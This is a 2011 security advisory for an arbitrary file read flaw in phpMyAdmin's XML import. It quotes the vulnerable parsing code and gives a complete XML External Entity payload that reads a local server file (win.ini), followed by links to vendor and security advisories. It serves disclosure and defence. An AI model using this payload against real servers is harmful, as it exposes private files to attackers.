phpMyAdmin Arbitrary File Read

2011-11-20 / 2011-11-21
Credit: 80sec
Risk: Low
Local: No
Remote: Yes
CWE: CWE-200


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: None
Availability impact: None

Hi 80sec report this bug on wooyun,PhpMyadmin use a simplexml_load_string function to read xml from user input,this may be exploied to read files from the server or network in libraries/import/xml.php,some code like this /** * Load the XML string * * The option LIBXML_COMPACT is specified because it can * result in increased performance without the need to * alter the code in any way. It's basically a freebee. */ $xml = simplexml_load_string($buffer, "SimpleXMLElement", LIBXML_COMPACT); unset($buffer); /** * The XML was malformed */ if ($xml === FALSE) { so you just need to make a xml like this <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE wooyun [ <!ENTITY hi80sec SYSTEM "file:///c:/windows/win.ini"> ]> <pma_xml_export version="1.0" xmlns:pma=" http://www.phpmyadmin.net/some_doc_url/"> <!-- - Structure schemas --> <pma:structure_schemas> <pma:database name="test" collation="utf8_general_ci" charset="utf8"> <pma:table name="ts_ad"> &hi80sec; </pma:table> </pma:database> </pma:structure_schemas> <!-- - &#202;&#190;&#191;: 'thinksns' --> <database name="thinksns"> <!-- &#177; ts_ad --> </database> </pma_xml_export> then import this xml in PhpMyAdmin,you will get the content you want. From:http://www.wooyun.org/bugs/wooyun-2010-03185 :)

References:

http://www.phpmyadmin.net/home_page/security/PMASA-2011-17.php
https://bugzilla.redhat.com/show_bug.cgi?id=751112
http://xforce.iss.net/xforce/xfdb/71108
http://www.wooyun.org/bugs/wooyun-2010-03185
http://www.securityfocus.com/bid/50497
http://secunia.com/advisories/46447
http://seclists.org/fulldisclosure/2011/Nov/21
http://packetstormsecurity.org/files/view/106511/phpmyadmin-fileread.txt
http://osvdb.org/76798


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